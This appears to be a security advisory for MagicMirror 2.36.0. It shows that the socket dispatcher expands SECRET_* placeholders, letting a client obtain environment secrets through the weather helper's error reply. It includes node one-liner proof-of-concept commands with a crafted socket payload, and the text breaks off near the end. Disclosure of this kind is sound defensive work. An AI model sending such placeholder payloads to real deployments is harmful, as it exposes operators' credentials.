Summary

MagicMirror socket payload secret placeholder expansion can disclose SECRET_* environment variables

Advisory details

Summary

When hideConfigSecrets: true is enabled, MagicMirror redacts SECRET_* environment placeholders in the HTTP /config response, but the shared node-helper socket dispatcher expands **SECRET_NAME** placeholders in every inbound socket payload before passing it to module helpers. Any client that can connect to a loaded module namespace can send a placeholder such as **SECRET_API_KEY** and cause the server to substitute the real environment variable into the helper payload. Helpers that echo attacker-controlled payload fields, such as the default weather helper error path, can return the secret value to the socket client.

Details

The affected product is the npm package/application magicmirror at version 2.36.0, tested at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 from https://github.com/MagicMirrorOrg/MagicMirror.git.

The secret-redaction feature is implemented during config loading:

  • js/utils.js:117-123 loads a config.env file next to the config file into process.env when present.
  • js/utils.js:130-151 creates both a full config and a redacted config.
  • js/utils.js:137-140 redacts environment variables whose names start with SECRET_ to **SECRET_NAME** in the redacted config when hideConfigSecrets: true is present.
  • js/server.js:112-125 returns either configObj.redactedConf or configObj.fullConf from /config depending on config.hideConfigSecrets.

The disclosure root cause is the inbound socket dispatcher:

  • js/node_helper.js:88-103 registers a catch-all handler for each module namespace.
  • js/node_helper.js:91-99 checks config?.hideConfigSecrets and, for every inbound object payload, runs replaceSecretPlaceholder(JSON.stringify(payload)) before invoking socketNotificationReceived(...).
  • js/server_functions.js:23-34 implements replaceSecretPlaceholder(...) by replacing **SECRET_* **-style placeholders with process.env[...], unless global.config.cors === "allowAll".

This reverses the redaction boundary: redacted placeholders intended for the browser can be sent back to the server and expanded into real environment secret values inside helper payloads.

A confirmed echo path exists in the default weather helper:

  • defaultmodules/weather/node_helper.js:12-19 accepts INIT_WEATHER from the socket.
  • defaultmodules/weather/node_helper.js:27-31 copies config.instanceId from the attacker-controlled payload.
  • defaultmodules/weather/node_helper.js:47-52 attempts to dynamically load the requested weather provider.
  • defaultmodules/weather/node_helper.js:86-91 catches errors and sends WEATHER_ERROR with the same instanceId back to the namespace.

False-positive screening performed:

  • This is not a generic environment leak through /env; js/server_functions.js:221-240 returns only selected client environment paths.
  • The HTTP /config route does redact placeholders when hideConfigSecrets: true; the issue is that the inbound socket path expands those placeholders again before module helper code runs.
  • replaceSecretPlaceholder(...) intentionally refuses substitution when global.config.cors === "allowAll" (js/server_functions.js:29-34); the positive PoC used cors: "disabled", which is the shipped default (js/defaults.js:14). A negative control with no substitution produced the placeholder unchanged.
  • The attacker must know or infer a SECRET_* variable name. If the attacker can read the redacted /config response, placeholder names may be disclosed even when values are hidden. The PoC uses a known SECRET_MM_AUDIT test variable.
  • Network reachability follows the Socket.IO exposure model. With the shipped default address: "localhost" and loopback ipWhitelist, remote network reachability is limited. In documented non-loopback deployments, this combines with the Socket.IO access-control gap described separately.

Affected-version evidence: only magicmirror@2.36.0 at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally.

PoC

The following safe local PoC was run from a clean checkout of MagicMirror at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8. Because node_modules were not installed in this audit environment and package.json:52 has a destructive postinstall, the command uses dependency stubs while executing the vulnerable repository dispatcher and weather helper code. It writes no files and does not contact external services.

Positive trigger:

node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g,(_m,g)=>process.env[g])}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"disabled"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'

Observed output:

[{"n":"WEATHER_ERROR","p":{"instanceId":"secret-marker-42","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]

Expected vulnerable output: the weather error payload returned by the helper contains "instanceId":"secret-marker-42", proving the server substituted the SECRET_MM_AUDIT environment variable into an attacker-controlled socket payload and returned it to the client.

Negative/control trigger simulating no inbound placeholder substitution:

node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"allowAll"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'

Observed control output:

[{"n":"WEATHER_ERROR","p":{"instanceId":"**SECRET_MM_AUDIT**","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]

Exp

References